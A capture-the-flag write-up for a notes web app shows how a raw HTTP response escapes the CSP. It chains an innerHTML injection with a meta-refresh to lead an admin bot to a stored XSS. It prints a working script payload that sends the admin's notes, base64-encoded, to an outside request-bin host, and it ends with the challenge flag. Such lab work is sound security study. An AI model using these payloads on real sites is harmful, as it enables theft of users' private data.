Description

Write messages to your crush but watch out, some hide secrets and some notes are better left unread

Source code is given.

Analysis

Feature overview

Before diving into code auditing, it’s worth mapping out the web server’s features. First, an account is required to access anything, so the first step is to register.

Account creation on the web service

Once logged in, the main feature of the server appears: storing notes (a title and a content) submitted by the user. Stored notes can be reported to an admin for review. Clicking a note redirects to the endpoint /api/notes/, which simply returns the note’s title and content as raw text.

Code review

Before reading the source directly, running semgrep on the codebase helps surface the most common vulnerabilities automatically. It flags a potential XSS caused by the use of .innerHTML when inserting note content into the dashboard.

 1static/dashboard.js
 2❯❯❱ javascript.browser.security.insecure-document-method.insecure-document-method
 3        User controlled data in methods like `innerHTML`, `outerHTML` or `document.write` is an anti-pattern
 4        that can lead to XSS vulnerabilities                                                                
 5        Details: https://sg.run/LwA9                                                                        
 6                                                                                                            
 7        76┆ showNoteDiv.innerHTML = `
 8        77┆     <h3>Note ID: ${reviewNoteId}</h3>
 9        78┆     <p>${note}</p>
10        79┆ `;

However, digging further into the code, a CSP blocks any script execution except for the local dashboard.js file and a hCaptcha script. This makes exploiting the XSS in .innerHTML harder at first, but it will become relevant again later.

1app.use((req, res, next) => {
2    // Prevent any attack
3    res.setHeader('X-Frame-Options', 'DENY');
4    res.setHeader('Content-Security-Policy', `script-src ${HOSTNAME}/static/dashboard.js https://js.hcaptcha.com/1/api.js; style-src ${HOSTNAME}/static/; img-src 'none'; connect-src 'self'; media-src 'none'; object-src 'none'; prefetch-src 'none'; frame-ancestors 'none'; form-action 'self'; frame-src 'none';`);
5    res.setHeader('Referrer-Policy', 'no-referrer');
6    res.setHeader('Cache-Control', 'no-store');
7    next();
8});

Browsing the code a bit further reveals something unusual: a hard-coded raw HTTP response in the API, when fetching a note’s data.

 1// Look mom, I wrote a raw HTTP response all by myself!
 2// Can I go outside now and play with my friends?
 3const responseMessage = `HTTP/1.1 200 OK
 4Date: Sun, 7 Nov 1917 11:26:07 GMT
 5Last-Modified: the-second-you-blinked
 6Type: flag-extra-salty, thanks
 7Length: 1337 bytes of pain
 8Server: thehackerscrew/1970 
 9Cache-Control: never-ever-cache-this
10Allow: pizza, hugs, high-fives
11X-CTF-Player-Reminder: drink-water-and-keep-hydrated
12
13${note.title}: ${note.content}
14
15`

The interesting part here is that, since this response is written raw in the code, the middleware adding the CSP header is never applied to it. This means an XSS payload injected here would not be blocked by any CSP, since none is attached to the response.

We now have an XSS injection point, but we still need a way to get the bot to visit it. For that, we need to look at how the bot reviews a note. The relevant route lives in app.js, which spawns the bot instance.

 1const { spawn } = require('child_process');
 2app.post('/report', async (req, res) => {
 3    const noteId = req.body.noteId;
 4
 5    if(typeof noteId !== 'string'){
 6        res.status(400).send('Missing noteId');
 7        return;
 8    }
 9
10    try{
11        const admin = await User.findOne().sort({ _id: 1 }).exec();
12        const subprocess = spawn('node', ['bot.js', admin.email, admin.password, noteId], {
13          detached: true,
14          stdio: 'ignore'
15        });
16        subprocess.unref();
17        res.send('Thank you for your report.');
18    }catch(e){
19        console.log(e);
20        res.status(500).send('Error');
21    }
22});

When called with a note ID, this route uses the bot.js script to make the bot review the given note, logged in as the admin. Looking at bot.js, the bot visits /dashboard?reviewNote=: when the reviewNote parameter is present in the URL, the script inserts the note’s ID and content into the page via .innerHTML, matching what semgrep flagged earlier. Despite the CSP, this is still enough to inject raw HTML. Using this, we can redirect the bot with a meta-refresh tag towards the API endpoint hosting the prepared XSS.

Exploitation

Step 1: Preparing the XSS

First, we need an XSS payload that exfiltrates the admin’s notes. The payload is:

1<script>fetch("https://inst-4de1e16124fcf99c-love-notes.chal.crewc.tf/api/notes", { credentials: 'include' }).then(res => res.text()).then(text => { const base = btoa(unescape(encodeURIComponent(text))); fetch("https://rbaskets.in/8t9ktv3?q="+base); })</script>

This payload is set as the title of a new note:

Creating the note containing the XSS

When triggered, it requests the /api/notes endpoint, which returns every note belonging to the current user (the admin, when visited by the bot), base64-encodes them, and exfiltrates them to an attacker-controlled server.

Step 2: Redirecting the bot

To redirect the bot to this XSS, we note the ID of the note created above (copied from its link) and create a new note whose content is an HTML injection triggering the redirect.

1</p><meta http-equiv="refresh" content="0;url=https://inst-4de1e16124fcf99c-love-notes.chal.crewc.tf/api/notes/c56217b6-866e-4325-b29b-76cb12142dc0"><p>

The note is created with this payload as its content:

Note triggering the automatic redirect to the XSS

This payload is inserted raw into the review page, instantly redirecting the bot to the page hosting the XSS. All that’s left is to report this last note to trigger the bot, exfiltrating the admin’s notes. We then wait for the request to reach the attacker’s server:

Request received on the attacker’s server

Step 3: Decoding the flag

Finally, decoding the received value with CyberChef gives the flag in the title of one of the admin’s notes.

Base64 decoding and the recovered flag

Flag

1crew{csp_trick_with_a_bit_of_css_spices_fBi4WVX1kGzPtavs}